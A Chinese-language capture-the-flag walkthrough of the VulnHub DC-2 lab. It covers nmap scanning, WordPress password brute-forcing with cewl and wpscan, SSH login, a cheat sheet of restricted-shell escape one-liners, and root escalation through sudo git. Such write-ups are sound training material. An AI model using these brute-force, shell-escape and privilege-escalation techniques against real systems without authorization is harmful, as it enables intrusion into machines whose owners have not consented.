vulnhub靶场记录DC-2
vulnhub靶场记录DC-2
靶场描述
Much like DC-1, DC-2 is another purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
As with the original DC-1, it's designed with beginners in mind.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Just like with DC-1, there are five flags including the final flag.
And again, just like with DC-1, the flags are important for beginners, but not so important for those who have experience.
In short, the only flag that really counts, is the final flag.
For beginners, Google is your friend. Well, apart from all the privacy concerns etc etc.
I haven't explored all the ways to achieve root, as I scrapped the previous version I had been working on, and started completely fresh apart from the base OS install.
渗透靶场
一.信息搜集
由于靶场还是设置的是NAT模式 和我们的渗透机共享ip 我们直接查看渗透机ip 在使用nmap扫靶机ip
ifconfig
nmap 192.168.160.0/24
可以看到靶场ip是192.168.160.152
在扫一波信息
nmap -A -p- -v 192.168.160.152
开放了80端口的网站 存在web服务 使用Apache/2.4.10 但是不能重定向到http://dc-2/
开放了7744端口 存在ssh服务 OpenSSH版本6.7p1
二、修改hosts文件 进行重定向
将扫到的http://dc-2
的域名和靶机ip添加到攻击机的hosts文件中
访问站点 成功 是个wordpress模版搭建的网站
三、flag1
在站点处找到flag1
flag1
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.
四、flag2
使用cewl生成密码字典
flag1提示我们使用cewl来生成不同于我们常用的字典 由此来爆破网站后台登陆密码
先学习一波cewl的姿势
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。
下面是cewl的一些命令参数
语法:cewl [url] [options]
常规参数选项:
-h, –help:显示帮助。
-k, –keep:保存下载文件。
-d <x>, –depth <x>:爬行深度,默认2。
-m, –min_world_length:最小长度,默认最小长度为3。
-o, –offsite:允许爬虫访问其他站点。
-w, –write:将输出结果写入到文件。
-u, –ua <agent>:设置user agent。
-n, –no-words:不输出字典。
–with-numbers:允许单词中存在数字,跟字母一样。
-a, –meta:包括元数据。
–meta_file file:输出元数据文件。
-e, –email:包括email地址。
–email_file <file>:输入邮件地址文件。
–meta-temp-dir <dir>:exiftool解析文件时使用的临时目录,默认是/temp。
-c, –count:显示发现的每个单词的数量。
-v, –verbose:verbose。
–debug:提取调试信息。
认证
–auth_type:Digest或者basic认证。
–auth_user:用户名认证。
–auth_pass:密码认证。
代理
–proxy_host:代理主机。
–proxy_port:代理端口,默认8080。
–proxy_username:用户名代理。
–proxy_password:密码代理。
下面是具体的一些用法 就直接以我们这个目标靶机为例了
默认方法:
cewl http://dc-2/
cewl对站点进行爬虫 生成了一系列密码 并输出在屏幕上
保存字典文件
cewl http://dc-2/ -w ~/桌面/dict.txt
使用w参数 可以将生成的密码字典进行保存
生成特定长度的字典
cewl http://dc-2/ -m 9
可见 cewl对目标网站进行了爬取 并生成了长度至少为9的密码
从网站中获取email
cewl http://dc-2/ -e -n
使用-n隐藏生成的密码字典
计算网站字典中重复单词的数量
cewl http://dc-2/ -c
增加爬取深度
cewl http://dc-2/ -d 3
爬取深度默认为2 使用-d参数 可以选择合适的参数
提取调试信息
cewl http://dc-2/ --debug
可以查看网站爬取过程中出现的错误和元数据
verbose模式
cewl http://dc-2/ -v
verbose模式可以列出网站的详细数据
生成包含数字和字符的字典
cewl http://dc-2/ --with-numbers
绕过页面登陆限制
参数:
–auth_type: Digest or basic
–auth_user: Authentication username.
–auth_pass: Authentication password.
命令:
cewl http://localhost:81/DVWA/DVWA/login.php --auth_type basic --auth_user admin --auth_pass password -v
或
cewl http://localhost:81/DVWA/DVWA/login.php --auth_type Digest --auth_user admin --auth_pass password -v
代理URL
如果目标网站设置了代理服务器的话,Cewl将无法使用默认命令来生成字典。此时你需要使用–proxy option选项来启用代理URL功能:
cewl --proxy_host 192.168.1.103 --proxy_port 3128 -w dict.txt http://192.168.1.103/wordpress/
使用wpscan进行爆破
那我们现在已经成功得到了密码字典 下一步就是找网站登陆用户 使用wpscan对网站进行扫描(wpscan是针对wordpress模版搭建的网站很常用的漏洞扫描工具)
在学习一波wpscan的姿势
WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。
下面是常见的命令参数
语法:wpscan --url [url] -options
--url 要扫描的目标url,允许的协议http、https,默认使用http协议
--help 显示简单的帮助
--version 显示WPScan的版本信息
-o 输出文件到指定位置
-f 指定文件输出的格式
--user-agent 使用指定的ua头
--random-user-agent 使用随机UA头
--max-threads 最大线程数,默认最大线程为5
--proxy 加载代理
--update 更新漏洞库
--force 不检测目标是否在运行wordpress
--api-token 使用token用于显示漏洞信息
--wp-content DIR 自定义指定检测内容
--cookie 指定cookie
vp 结果中显示有漏洞的插件(插件漏洞扫描)
vt 结果中显示存在漏洞的主题(主题漏洞扫描)
at 结果中显示所有主题
ap 结果中显示目标的所有插件
tt 列举缩略图相关的文件
--enumerate/-e 枚举 [option](要枚举的目标)
u 枚举用户名
p 枚举插件(插件扫描)
t 枚举主题(主题扫描)
进行用户名、主题扫描、插件扫描、插件漏洞扫描、主题漏洞扫描的时候、TimThumbs文件扫描(缩略图相关文件)时 直接使用以下命令
wpscan --url http://dc-2/ -e u,t,t,vt,vp,tt
wpscan还可以进行爆破用户名和密码
wpscan --url http://dc-2/ --wordlist[字典文件] --username[要破解的用户] --threads[开启的线程数]
wpscan --url http://dc-2/ -P [密码字典] -U [用户字典]
下面我们就用wpscan对站点进行扫描 flag1提示我们要爆破用户名和密码 登录之后来找到后面的flag 我们前面用cewl得到了密码字典 在使用wpscan扫一下用户名
wpscan --url http://dc-2/ -e u
扫到三个用户名
下面创建一个用户名字典 进行爆破
wpscan --url http://dc-2/ -P dict.txt -U user.txt
找到了jerry和tom两个用户的密码
jerry / adipiscing tom / parturient
尝试使用这两组用户密码登陆站点后台 一般来说 wp模版搭建的网站后台登陆页面在/wp-admin中
两组任选其一都可以成功登陆
登陆jerry账号后 在page页找到了flag2
Flag 2:
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
但是登陆tom账号后 什么也没发现
五、flag3
ssh连接tom
flag2提示说 如果在wordpress中找不到突破 那就换个方式 在前期信息搜集的时候 我们扫到了开放了端口为7744的ssh服务
现在手上有jerry和tom的账号密码 也不用再用hydra爆破密码了 直接ssh连就完了
ssh jerry@192.168.160.152 -p 7744
ssh tom@192.168.160.152 -p 7744
发现jerry用户登不上去 tom用户可以登陆
使用ls命令查看当前目录下的文件 找到flag3.txt 但是cat、cd等命令都无法执行 ls命令还可以执行
ls /home/tom/usr/bin # 查看一下tom账号拥有哪些命令权限
发现less和vi命令都还可以执行 那就可以读取flag3.txt的内容
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
六、flag4
我们现在连上的bash其实是rbash 是受限的bash
下面来学习一些关于rbash
的姿势
设置rbash
cp /bin/bash /bin/rbash # 复制一个bash 重命名为rbash
useradd -s /bin/rbash tom # 设置用户tom登陆的shell为rbash
mkdir -p /home/tom/.bin # 在tom用户下新建一个.bin目录存放可以执行的命令
ln -s /bin/clear /home/$tom/.bin/clear # 设置软链接执行命令
编辑文件/home/$tom/.bashrc,添加export PATH=$HOME/.bin/. 文件一定要以# .bashrc为首行.
绕过rbash
一、枚举linux环境
1.检查常见命令
su cd ls cat等
2.检查可用的操作符
< > << >> | / \等
3.root身份可以运行的命令
sudo -l
4.检查shell
echo $SHELL
5.检查可用的编程语言
python php ruby perl
6.检查环境变量
执行 env/printenv
二、绕过方式
/
字符被允许使用直接执行
/bin/bash
2.
cp
命令允许执行cp /bin/bash test1 cp /bin/sh test2 ./test1 # 切换到了/bin/bash ./test2 # 切换到了/bin/bash
3.常见应用
ftp/gdb(调试程序的工具)
ftp > !/bin/sh gdb > !/bin/sh
man/git
man > !/bin/sh
git > git help status
vim/vi
vim/vi test
:!/bin/sh
more/less
more test
!/bin/sh
4.set shell
# vim/vi创建一个文件 进入之后
:set shell=/bin/sh # 或者用/bin/bash
:shell
# 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
5.更改PATH或SHELL环境变量
BASH_CMDS[a]=/bin/sh;a 注:把/bin/bash给a变量`
export PATH=$PATH:/bin/ 注:将/bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin 注:将/usr/bin作为PATH环境变量导出
6.编程语言
(1)python
python -c "import os;os.system('/bin/bash')"
或者
python -c "import pty;pty.spawn('/bin/bash')"
(2)php
php -a then exec("sh -i")
(3)perl
perl -e "exec '/bin/sh';"
(4)lua
os.execute('/bin/sh')
(5)ruby
exec "/bin/sh"
7.其他方法
ssh
ssh username@IP -t "/bin/sh" or "/bin/bash"
ssh(2)
ssh username@IP -t "bash --noprofile"
ssh(3)
ssh username@IP -t "() { :; }; /bin/bash" (sehllshock)
ssh(4)
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)
zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
tar
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
awk(超级玛丽靶机使用它成功了)
awk 'BEGIN {system("/bin/bash")}'
现在绕过rbash的方法基本上就是这些了 现在开始在攻击机中绕过tom账户的rbash权限
首先,信息搜集 由flag3的部分 我们知道目前可以使用的只有ls vim less scp这些命令可以使用
在这里 我们使用第4种方法 set shell
vi
:set shell=/bin/sh
:shell
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
成功绕过rbash
在flag3中还提示我们用su
来切换用户 现在我们找一下jerry用户 进入jerry 在目录下找到flag4
flag4
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
七、thefinalflag
git提权
flag4告诉我们还有最后一个flag 提到git 可能是让我们使用git进行提权
首先查看一下jerry用户可以使用的root命令有哪些
sudo -l
发现可以无密码使用git命令 正好切合了提示中的git
sudo git help config
!/bin/sh
成功提权成功 进入root文件夹 找到final-flag.txt
__ __ _ _ _ _
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/
Congratulatons!!!
A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.
总结
至此 全部flag都被找到